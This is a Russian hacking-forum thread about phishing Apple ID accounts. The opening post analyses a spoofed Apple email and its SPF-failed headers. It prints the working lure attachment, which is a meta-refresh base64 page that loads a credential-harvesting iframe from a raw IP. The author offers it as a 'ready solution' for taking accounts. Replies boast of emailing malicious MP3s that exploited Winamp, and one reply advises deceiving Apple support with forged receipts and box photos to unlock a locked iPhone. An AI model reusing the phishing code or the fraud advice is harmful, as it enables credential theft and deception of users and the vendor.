Взлом Apple iTunes (apple id) аккаунтов

@dark · 16.03.2016, 08:11

Способ известный как фишинг. Кто не в курсе, это такой способ взлома, при котором вам тем или иным способом подставляют ложную страницу авторизации (ввода логина и пароля), очень похожую на настоящую (в данном случае страницу apple.com). Кому-то тема будет полезна, чтобы лишний раз отложилась в памяти и спасла в будущем ваши аккаунты от взлома (и не только apple), а кому-то это реальный инструмент отъёма чужих учёток.
Сегодня таким образом пытались взломать меня, выкладываю вам готовое решение.

Итак, к вам приходит письмо (или вы его генерите, отсылаете) якобы от Apple:

Текст письма

Всё красиво, да? Я, честно говоря, даже поверил на секунду и начал читать письмо) Отправитель - appleid@apple.com, хотя ещё в 2000-ом году (когда я начинал всем этим заниматься), подделать отправителя почты было плёвым делом.
Отличить фейк от не фейка можно элементарно:
1. "Hello," - злоумышленник не знает за кем закреплён ваш Apple ID , т.к. атаки как правило не точечные.
2. Достаточно просто посмотреть служебные заголовки письма. А если точнее, то самые первые строчки идентификации:

Цитата:

Delivered-To: dark@rf-cheats.ru
Return-path: <>
Authentication-Results: mxs.mail.ru; spf=fail (mx165.mail.ru: domain of apple.com does not designate 81.169.254.216 as permitted sender) smtp.mailfrom=appleid@apple.com smtp.helo=h2540895
Received-SPF: fail (mx165.mail.ru: domain of apple.com does not designate 81.169.254.216 as permitted sender) client-ip=81.169.254.216; envelope-from=appleid@apple.com; helo=h2540895;
Received: from h2540895.stratoserver.net ([81.169.254.216]:49497 helo=h2540895)
by mx165.mail.ru with esmtp (envelope-from <appleid@apple.com>)
id 1ag39A-00068w-Ie; Wed, 16 Mar 2016 07:33:24 +0300

Вот чёрным по белому написано, что IP отправителя не связан с доменом apple.com. А ниже мы видим хост этого ипшника - h2540895.stratoserver.net. Обычный дедик в Германии. Идём дальше.
В письме предлагается открыть аттач :) На самом деле, скорее это - главное отличие фейка от реального письма. В аттаче лежит файл verified.html весом всего 600 байт. Если юзер не совсем нуб, он может повестись, ведь файл не бинарный, поэтому врядли его там ждёт классический вариант со стиллером. Да и вес не позволяет. Смотрим содержимое файла:

Код HTML:

<html>
<head>
<title>Apple</title>
<meta name="robots" content="noindex,nofollow" />
</head>
<body>


<form align="center">
<meta http-equiv="refresh" content="2; data:text/html;base64,PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT4gQXBwbGUgPC90aXRsZT4NCjxzdHlsZSB0eXBlPSd0ZXh0L2Nzcyc+DQoqDQp7DQoJcGFkZGluZzogMHB4Ow0KCW1hcmdpbjogMHB4Ow0KfQ0KaWZyYW1lDQp7DQoJYm9yZGVyOiAwcHg7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KPGJvZHk+DQo8aWZyYW1lIHNyYz0naHR0cDovLzgxLjE2OS4yMjIuMTE5L351cGRhdGUvdmVyaWZpY2F0aW9uLycgd2lkdGg9JzEwMCUnIGhlaWdodD0iMTAwJSIgPjwvaWZyYW1lPg0KPC9ib2R5Pg0KDQo8L2h0bWw+">

</form>
</body>
<SCRIPT LANGUAGE="JavaScript">
{
document.body.style.overflow='hidden';
}
</script>
</body>
</html>

А внутри мета-данных, закодированная в Base64, лежит ещё одна html-страница, внутри которой фрейм:

Код HTML:

<html>
<head>
<title> Apple </title>
<style type='text/css'>
*
{
	padding: 0px;
	margin: 0px;
}
iframe
{
	border: 0px;
}
</style>
</head>
<body>
<iframe src='http://81.169.222.119/~update/verification/' width='100%' height="100%" ></iframe>
</body>

</html>

В свою очередь во фрейме сама фишинговая страница, на которой вам предложат ввести ваши регистрационные данные:

Если не копать, согласитесь, всё выглядит более чем реально. Письмо от apple и сразу форма авторизации с соответствующим (Эпловским) дизайном. Схема стара как мир, но до сих пор отлично работает.
Мотайте на ус и не ведитесь на подобную хурму.

@dark · 16.03.2016, 08:19

Цитата:

Сообщение от Paladin

Не прокатило, ну ладно =(

Мы в своё время находили переполнения буфера в winamp'е. Через заголовки MP3 файла, через m3u-файлы (Mp3-листы) могли исполнять любой код на машине с winamp. И точно также, если надо было сломать чей-то комп, слали mp3-ёху на почту и надеялись, что у человека винда с винампом)). На это велись такие отцы, что ппц. Ведь кто бы мог подумать, что mp3-файл может быть "заразным"?

@REENK · 16.03.2016, 08:29

Цитата:

Сообщение от dark

Мы в своё время находили переполнения буфера в winamp'е. Через заголовки MP3 файла, через m3u-файлы (Mp3-листы) могли исполнять любой код на машине с winamp. И точно также, если надо было сломать чей-то комп, слали mp3-ёху на почту и надеялись, что у человека винда с винампом)). На это велись такие отцы, что ппц. Ведь кто бы мог подумать, что mp3-файл может быть "заразным"?

Аплодирую стоя

@KemiN · 16.03.2016, 09:21

А ты им mp3 в ответ

@**GameOldHack** · 16.03.2016, 16:59

Полезная инфа ))) + если кто помнит был такой прикол с видео на ютубе ))
Мол тебя засняли - посмотри что из этого получилось ))

@levgav · 16.03.2016, 17:21

Кто знает как залоченный по эппл айди айфон отвязать? Или только на запчасти?
Айфон именно залочен, просит на почту зайти

@**Presta** · 17.03.2016, 17:35

Цитата:

Сообщение от levgav

Кто знает как залоченный по эппл айди айфон отвязать? Или только на запчасти?
Айфон именно залочен, просит на почту зайти

Способ есть, но очень геморный. Писать в саппорт с фальшивой и правдопободной историей. Взамен просят скинуть фото коробки твоего устройства и чек с оплатой. С этим проблем нету, скачать/подделать можно. Работает, проверено.

@eAx · 18.03.2016, 23:34

А я предпочитал дыры Outlook

@~~Devilry-PvP~~ · 01.04.2016, 10:57

Цитата:

Сообщение от dark

Мы в своё время находили переполнения буфера в winamp'е. Через заголовки MP3 файла, через m3u-файлы (Mp3-листы) могли исполнять любой код на машине с winamp. И точно также, если надо было сломать чей-то комп, слали mp3-ёху на почту и надеялись, что у человека винда с винампом)). На это велись такие отцы, что ппц. Ведь кто бы мог подумать, что mp3-файл может быть "заразным"?

ну так давай гайд) А мы там подумаем как его под AIMP сделать

@**Davias** · 23.08.2016, 23:02

А никого не смутило отсутствие пробела? :- )

Взлом Apple iTunes (apple id) аккаунтов

Взлом аккаунтов (Steam, MMO, почта, ICQ, Yandex-деньги и т.п.)

Взлом Apple iTunes (apple id) аккаунтов